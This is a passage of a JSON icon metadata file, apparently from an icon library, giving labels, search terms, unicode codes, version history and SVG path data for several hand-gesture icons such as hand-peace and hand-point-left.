        "path": "M163.9 136.9c-29.4-29.8-29.4-78.2 0-108s77-29.8 106.4 0l17.7 18 17.7-18c29.4-29.8 77-29.8 106.4 0s29.4 78.2 0 108L310.5 240.1c-6.2 6.3-14.3 9.4-22.5 9.4s-16.3-3.1-22.5-9.4L163.9 136.9zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05c"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["care", "covid-19", "donate", "help"]
    },
    "styles": ["solid"],
    "unicode": "e05c",
    "label": "Hand Holding Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 24V80H168c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h56v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176h56c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H320V24c0-13.3-10.7-24-24-24H248c-13.3 0-24 10.7-24 24zM559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-367-8.2l.9 0 0 0c-.3 0-.6 0-.9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M224 24V80H168c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h56v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176h56c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H320V24c0-13.3-10.7-24-24-24H248c-13.3 0-24 10.7-24 24zM559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-367-8.2l.9 0 0 0c-.3 0-.6 0-.9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-lizard": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f258"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["game", "roshambo"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f258",
    "label": "Hand Lizard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 112C0 85.5 21.5 64 48 64H160h80 46.5c36.8 0 71.2 18 92.1 48.2l113.5 164c13 18.7 19.9 41 19.9 63.8v12 16 48c0 17.7-14.3 32-32 32H384c-17.7 0-32-14.3-32-32V402.2L273.9 352H240 160 112c-26.5 0-48-21.5-48-48s21.5-48 48-48h48 80c26.5 0 48-21.5 48-48s-21.5-48-48-48H160 48c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 112C0 85.5 21.5 64 48 64H160h80 46.5c36.8 0 71.2 18 92.1 48.2l113.5 164c13 18.7 19.9 41 19.9 63.8v12 16 48c0 17.7-14.3 32-32 32H384c-17.7 0-32-14.3-32-32V402.2L273.9 352H240 160 112c-26.5 0-48-21.5-48-48s21.5-48 48-48h48 80c26.5 0 48-21.5 48-48s-21.5-48-48-48H160 48c-26.5 0-48-21.5-48-48z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M72 112c-13.3 0-24 10.7-24 24s10.7 24 24 24H240c35.3 0 64 28.7 64 64s-28.7 64-64 64H136c-13.3 0-24 10.7-24 24s10.7 24 24 24H288c4.5 0 8.9 1.3 12.7 3.6l64 40c7 4.4 11.3 12.1 11.3 20.4v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V413.3L281.1 384H136c-39.8 0-72-32.2-72-72s32.2-72 72-72H240c8.8 0 16-7.2 16-16s-7.2-16-16-16H72c-39.8 0-72-32.2-72-72S32.2 64 72 64H281.6c46.7 0 90.9 21.5 119.7 58.3l78.4 100.1c20.9 26.7 32.3 59.7 32.3 93.7V424c0 13.3-10.7 24-24 24s-24-10.7-24-24V316.1c0-23.2-7.8-45.8-22.1-64.1L363.5 151.9c-19.7-25.2-49.9-39.9-81.9-39.9H72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M72 112c-13.3 0-24 10.7-24 24s10.7 24 24 24H240c35.3 0 64 28.7 64 64s-28.7 64-64 64H136c-13.3 0-24 10.7-24 24s10.7 24 24 24H288c4.5 0 8.9 1.3 12.7 3.6l64 40c7 4.4 11.3 12.1 11.3 20.4v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V413.3L281.1 384H136c-39.8 0-72-32.2-72-72s32.2-72 72-72H240c8.8 0 16-7.2 16-16s-7.2-16-16-16H72c-39.8 0-72-32.2-72-72S32.2 64 72 64H281.6c46.7 0 90.9 21.5 119.7 58.3l78.4 100.1c20.9 26.7 32.3 59.7 32.3 93.7V424c0 13.3-10.7 24-24 24s-24-10.7-24-24V316.1c0-23.2-7.8-45.8-22.1-64.1L363.5 151.9c-19.7-25.2-49.9-39.9-81.9-39.9H72z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-middle-finger": {
    "aliases": {
      "unicodes": {
        "composite": ["1f595"],
        "secondary": ["10f806"]
      }
    },
    "changes": [
      "5.7.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "finger",
        "flip the bird",
        "gesture",
        "hand",
        "hate",
        "middle finger",
        "rude"
      ]
    },
    "styles": ["solid"],
    "unicode": "f806",
    "label": "Hand Middle Finger",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M232 0c-22.1 0-40 17.9-40 40V204.2c-8.5-7.6-19.7-12.2-32-12.2c-26.5 0-48 21.5-48 48v7 73c0 8.8-7.2 16-16 16s-16-7.2-16-16V264.3c-2 1.4-3.9 3-5.8 4.5L55 284.8C40.4 297 32 315 32 334V372c0 38 16.9 74 46.1 98.3l5.4 4.5c28.8 24 65 37.1 102.4 37.1H304c70.7 0 128-57.3 128-128V320 288c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 227.5 329.3 208 304 208c-12.3 0-23.5 4.6-32 12.2V40c0-22.1-17.9-40-40-40z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M232 0c-22.1 0-40 17.9-40 40V204.2c-8.5-7.6-19.7-12.2-32-12.2c-26.5 0-48 21.5-48 48v7 73c0 8.8-7.2 16-16 16s-16-7.2-16-16V264.3c-2 1.4-3.9 3-5.8 4.5L55 284.8C40.4 297 32 315 32 334V372c0 38 16.9 74 46.1 98.3l5.4 4.5c28.8 24 65 37.1 102.4 37.1H304c70.7 0 128-57.3 128-128V320 288c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 227.5 329.3 208 304 208c-12.3 0-23.5 4.6-32 12.2V40c0-22.1-17.9-40-40-40z"
      }
    },
    "free": ["solid"]
  },
  "hand-peace": {
    "aliases": {
      "unicodes": {
        "composite": ["270c"],
        "secondary": ["10f25b"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hand", "rest", "truce", "v", "victory", "victory hand"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f25b",
    "label": "Hand Peace",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V240H192V32c0-17.7 14.3-32 32-32zm96 160c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32zm64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zM93.3 51.2L175.9 240H106.1L34.7 76.8C27.6 60.6 35 41.8 51.2 34.7s35.1 .3 42.1 16.5zm27 221.3l-.2-.5h69.9H216c22.1 0 40 17.9 40 40s-17.9 40-40 40H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H226.3c-42.4 0-83.1-16.9-113.1-46.9l-11.6-11.6C77.5 429.5 64 396.9 64 363V336c0-32.7 24.6-59.7 56.3-63.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V240H192V32c0-17.7 14.3-32 32-32zm96 160c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32zm64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zM93.3 51.2L175.9 240H106.1L34.7 76.8C27.6 60.6 35 41.8 51.2 34.7s35.1 .3 42.1 16.5zm27 221.3l-.2-.5h69.9H216c22.1 0 40 17.9 40 40s-17.9 40-40 40H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H226.3c-42.4 0-83.1-16.9-113.1-46.9l-11.6-11.6C77.5 429.5 64 396.9 64 363V336c0-32.7 24.6-59.7 56.3-63.5z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M250.8 1.4c-35.2-3.7-66.6 21.8-70.3 57L174 119 156.7 69.6C145 36.3 108.4 18.8 75.1 30.5S24.2 78.8 35.9 112.1L88.7 262.2C73.5 276.7 64 297.3 64 320v0 24c0 92.8 75.2 168 168 168h48c92.8 0 168-75.2 168-168V272 256 224c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4c-10.4-21.3-32.3-36-57.6-36c-.7 0-1.5 0-2.2 0l5.9-56.3c3.7-35.2-21.8-66.6-57-70.3zm-.2 155.4C243.9 166.9 240 179 240 192v48c0 .7 0 1.4 0 2c-5.1-1.3-10.5-2-16-2h-7.4l-5.4-15.3 17-161.3c.9-8.8 8.8-15.2 17.6-14.2s15.2 8.8 14.2 17.6l-9.5 90.1zM111.4 85.6L165.7 240H144c-4 0-8 .3-11.9 .9L81.2 96.2c-2.9-8.3 1.5-17.5 9.8-20.4s17.5 1.5 20.4 9.8zM288 192c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16c0 8.8-7.2 16-16 16s-16-7.2-16-16V192zm38.4 108c10.4 21.3 32.3 36 57.6 36c5.5 0 10.9-.7 16-2v10c0 66.3-53.7 120-120 120H232c-66.3 0-120-53.7-120-120l0-24 0 0c0-17.7 14.3-32 32-32h80c8.8 0 16 7.2 16 16s-7.2 16-16 16H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h40c35.3 0 64-28.7 64-64c0-.7 0-1.4 0-2c5.1 1.3 10.5 2 16 2c7.9 0 15.4-1.4 22.4-4zM400 272c0 8.8-7.2 16-16 16s-16-7.2-16-16V240 224c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M250.8 1.4c-35.2-3.7-66.6 21.8-70.3 57L174 119 156.7 69.6C145 36.3 108.4 18.8 75.1 30.5S24.2 78.8 35.9 112.1L88.7 262.2C73.5 276.7 64 297.3 64 320v0 24c0 92.8 75.2 168 168 168h48c92.8 0 168-75.2 168-168V272 256 224c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4c-10.4-21.3-32.3-36-57.6-36c-.7 0-1.5 0-2.2 0l5.9-56.3c3.7-35.2-21.8-66.6-57-70.3zm-.2 155.4C243.9 166.9 240 179 240 192v48c0 .7 0 1.4 0 2c-5.1-1.3-10.5-2-16-2h-7.4l-5.4-15.3 17-161.3c.9-8.8 8.8-15.2 17.6-14.2s15.2 8.8 14.2 17.6l-9.5 90.1zM111.4 85.6L165.7 240H144c-4 0-8 .3-11.9 .9L81.2 96.2c-2.9-8.3 1.5-17.5 9.8-20.4s17.5 1.5 20.4 9.8zM288 192c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16c0 8.8-7.2 16-16 16s-16-7.2-16-16V192zm38.4 108c10.4 21.3 32.3 36 57.6 36c5.5 0 10.9-.7 16-2v10c0 66.3-53.7 120-120 120H232c-66.3 0-120-53.7-120-120l0-24 0 0c0-17.7 14.3-32 32-32h80c8.8 0 16 7.2 16 16s-7.2 16-16 16H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h40c35.3 0 64-28.7 64-64c0-.7 0-1.4 0-2c5.1 1.3 10.5 2 16 2c7.9 0 15.4-1.4 22.4-4zM400 272c0 8.8-7.2 16-16 16s-16-7.2-16-16V240 224c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a7"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["finger", "hand-o-down", "point"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a7",
    "label": "Hand Point Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 480c0 17.7 14.3 32 32 32s32-14.3 32-32V272H32V480zM224 320c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-64 64c17.7 0 32-14.3 32-32V304c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 17.7 14.3 32 32 32zm160-96c0 17.7 14.3 32 32 32s32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-96-88l0 .6c9.4-5.4 20.3-8.6 32-8.6c13.2 0 25.4 4 35.6 10.8c8.7-24.9 32.5-42.8 60.4-42.8c11.7 0 22.6 3.1 32 8.6V160C384 71.6 312.4 0 224 0H162.3C119.8 0 79.1 16.9 49.1 46.9L37.5 58.5C13.5 82.5 0 115.1 0 149v27c0 35.3 28.7 64 64 64h88c22.1 0 40-17.9 40-40s-17.9-40-40-40H96c-8.8 0-16-7.2-16-16s7.2-16 16-16h56c39.8 0 72 32.2 72 72z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 480c0 17.7 14.3 32 32 32s32-14.3 32-32V272H32V480zM224 320c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-64 64c17.7 0 32-14.3 32-32V304c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 17.7 14.3 32 32 32zm160-96c0 17.7 14.3 32 32 32s32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-96-88l0 .6c9.4-5.4 20.3-8.6 32-8.6c13.2 0 25.4 4 35.6 10.8c8.7-24.9 32.5-42.8 60.4-42.8c11.7 0 22.6 3.1 32 8.6V160C384 71.6 312.4 0 224 0H162.3C119.8 0 79.1 16.9 49.1 46.9L37.5 58.5C13.5 82.5 0 115.1 0 149v27c0 35.3 28.7 64 64 64h88c22.1 0 40-17.9 40-40s-17.9-40-40-40H96c-8.8 0-16-7.2-16-16s7.2-16 16-16h56c39.8 0 72 32.2 72 72z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 448l0-177.6c5.2 1 10.5 1.6 16 1.6l16 0 0 32 0 144c0 8.8-7.2 16-16 16s-16-7.2-16-16zM80 224c-17.7 0-32-14.3-32-32c0 0 0 0 0 0l0-24c0-66.3 53.7-120 120-120l48 0c52.5 0 97.1 33.7 113.4 80.7c-3.1-.5-6.2-.7-9.4-.7c-20 0-37.9 9.2-49.7 23.6c-9-4.9-19.4-7.6-30.3-7.6c-15.1 0-29 5.3-40 14c-11-8.8-24.9-14-40-14l-40 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-40 0-40 0zM0 192s0 0 0 0c0 18 6 34.6 16 48l0 208c0 35.3 28.7 64 64 64s64-28.7 64-64l0-82c5.1 1.3 10.5 2 16 2c25.3 0 47.2-14.7 57.6-36c7 2.6 14.5 4 22.4 4c20 0 37.9-9.2 49.7-23.6c9 4.9 19.4 7.6 30.3 7.6c35.3 0 64-28.7 64-64l0-64 0-24C384 75.2 308.8 0 216 0L168 0C75.2 0 0 75.2 0 168l0 24zm336 64c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-48 0-16c0-8.8 7.2-16 16-16s16 7.2 16 16l0 64zM160 272c5.5 0 10.9-.7 16-2l0 2 0 32c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-32 16 0zm64-24l0-40c0-8.8 7.2-16 16-16s16 7.2 16 16l0 48 0 16c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 448l0-177.6c5.2 1 10.5 1.6 16 1.6l16 0 0 32 0 144c0 8.8-7.2 16-16 16s-16-7.2-16-16zM80 224c-17.7 0-32-14.3-32-32c0 0 0 0 0 0l0-24c0-66.3 53.7-120 120-120l48 0c52.5 0 97.1 33.7 113.4 80.7c-3.1-.5-6.2-.7-9.4-.7c-20 0-37.9 9.2-49.7 23.6c-9-4.9-19.4-7.6-30.3-7.6c-15.1 0-29 5.3-40 14c-11-8.8-24.9-14-40-14l-40 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-40 0-40 0zM0 192s0 0 0 0c0 18 6 34.6 16 48l0 208c0 35.3 28.7 64 64 64s64-28.7 64-64l0-82c5.1 1.3 10.5 2 16 2c25.3 0 47.2-14.7 57.6-36c7 2.6 14.5 4 22.4 4c20 0 37.9-9.2 49.7-23.6c9 4.9 19.4 7.6 30.3 7.6c35.3 0 64-28.7 64-64l0-64 0-24C384 75.2 308.8 0 216 0L168 0C75.2 0 0 75.2 0 168l0 24zm336 64c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-48 0-16c0-8.8 7.2-16 16-16s16 7.2 16 16l0 64zM160 272c5.5 0 10.9-.7 16-2l0 2 0 32c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-32 16 0zm64-24l0-40c0-8.8 7.2-16 16-16s16 7.2 16 16l0 48 0 16c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-left": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a5"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["back", "finger", "hand-o-left", "left", "point", "previous"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a5",
    "label": "Hand Point Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l208 0 0-64L32 96zM192 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm-64-64c0 17.7 14.3 32 32 32l48 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-48 0c-17.7 0-32 14.3-32 32zm96 160c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm88-96l-.6 0c5.4 9.4 8.6 20.3 8.6 32c0 13.2-4 25.4-10.8 35.6c24.9 8.7 42.8 32.5 42.8 60.4c0 11.7-3.1 22.6-8.6 32l8.6 0c88.4 0 160-71.6 160-160l0-61.7c0-42.4-16.9-83.1-46.9-113.1l-11.6-11.6C429.5 77.5 396.9 64 363 64l-27 0c-35.3 0-64 28.7-64 64l0 88c0 22.1 17.9 40 40 40s40-17.9 40-40l0-56c0-8.8 7.2-16 16-16s16 7.2 16 16l0 56c0 39.8-32.2 72-72 72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l208 0 0-64L32 96zM192 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm-64-64c0 17.7 14.3 32 32 32l48 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-48 0c-17.7 0-32 14.3-32 32zm96 160c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm88-96l-.6 0c5.4 9.4 8.6 20.3 8.6 32c0 13.2-4 25.4-10.8 35.6c24.9 8.7 42.8 32.5 42.8 60.4c0 11.7-3.1 22.6-8.6 32l8.6 0c88.4 0 160-71.6 160-160l0-61.7c0-42.4-16.9-83.1-46.9-113.1l-11.6-11.6C429.5 77.5 396.9 64 363 64l-27 0c-35.3 0-64 28.7-64 64l0 88c0 22.1 17.9 40 40 40s40-17.9 40-40l0-56c0-8.8 7.2-16 16-16s16 7.2 16 16l0 56c0 39.8-32.2 72-72 72z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 128l177.6 0c-1 5.2-1.6 10.5-1.6 16l0 16-32 0L64 160c-8.8 0-16-7.2-16-16s7.2-16 16-16zm224 16c0-17.7 14.3-32 32-32c0 0 0 0 0 0l24 0c66.3 0 120 53.7 120 120l0 48c0 52.5-33.7 97.1-80.7 113.4c.5-3.1 .7-6.2 .7-9.4c0-20-9.2-37.9-23.6-49.7c4.9-9 7.6-19.4 7.6-30.3c0-15.1-5.3-29-14-40c8.8-11 14-24.9 14-40l0-40c0-13.3-10.7-24-24-24s-24 10.7-24 24l0 40c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-40 0-40zm32-80s0 0 0 0c-18 0-34.6 6-48 16L64 80C28.7 80 0 108.7 0 144s28.7 64 64 64l82 0c-1.3 5.1-2 10.5-2 16c0 25.3 14.7 47.2 36 57.6c-2.6 7-4 14.5-4 22.4c0 20 9.2 37.9 23.6 49.7c-4.9 9-7.6 19.4-7.6 30.3c0 35.3 28.7 64 64 64l64 0 24 0c92.8 0 168-75.2 168-168l0-48c0-92.8-75.2-168-168-168l-24 0zM256 400c-8.8 0-16-7.2-16-16s7.2-16 16-16l48 0 16 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-64 0zM240 224c0 5.5 .7 10.9 2 16l-2 0-32 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l32 0 0 16zm24 64l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-48 0-16 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l24 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 128l177.6 0c-1 5.2-1.6 10.5-1.6 16l0 16-32 0L64 160c-8.8 0-16-7.2-16-16s7.2-16 16-16zm224 16c0-17.7 14.3-32 32-32c0 0 0 0 0 0l24 0c66.3 0 120 53.7 120 120l0 48c0 52.5-33.7 97.1-80.7 113.4c.5-3.1 .7-6.2 .7-9.4c0-20-9.2-37.9-23.6-49.7c4.9-9 7.6-19.4 7.6-30.3c0-15.1-5.3-29-14-40c8.8-11 14-24.9 14-40l0-40c0-13.3-10.7-24-24-24s-24 10.7-24 24l0 40c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-40 0-40zm32-80s0 0 0 0c-18 0-34.6 6-48 16L64 80C28.7 80 0 108.7 0 144s28.7 64 64 64l82 0c-1.3 5.1-2 10.5-2 16c0 25.3 14.7 47.2 36 57.6c-2.6 7-4 14.5-4 22.4c0 20 9.2 37.9 23.6 49.7c-4.9 9-7.6 19.4-7.6 30.3c0 35.3 28.7 64 64 64l64 0 24 0c92.8 0 168-75.2 168-168l0-48c0-92.8-75.2-168-168-168l-24 0zM256 400c-8.8 0-16-7.2-16-16s7.2-16 16-16l48 0 16 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-64 0zM240 224c0 5.5 .7 10.9 2 16l-2 0-32 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l32 0 0 16zm24 64l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-48 0-16 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l24 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-right": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a4"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["finger", "forward", "hand-o-right", "next", "point", "right"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a4",
    "label": "Hand Point Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 96c17.7 0 32 14.3 32 32s-14.3 32-32 32l-208 0 0-64 208 0zM320 288c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm64-64c0 17.7-14.3 32-32 32l-48 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l48 0c17.7 0 32 14.3 32 32zM288 384c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm-88-96l.6 0c-5.4 9.4-8.6 20.3-8.6 32c0 13.2 4 25.4 10.8 35.6C177.9 364.3 160 388.1 160 416c0 11.7 3.1 22.6 8.6 32l-8.6 0C71.6 448 0 376.4 0 288l0-61.7c0-42.4 16.9-83.1 46.9-113.1l11.6-11.6C82.5 77.5 115.1 64 149 64l27 0c35.3 0 64 28.7 64 64l0 88c0 22.1-17.9 40-40 40s-40-17.9-40-40l0-56c0-8.8-7.2-16-16-16s-16 7.2-16 16l0 56c0 39.8 32.2 72 72 72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
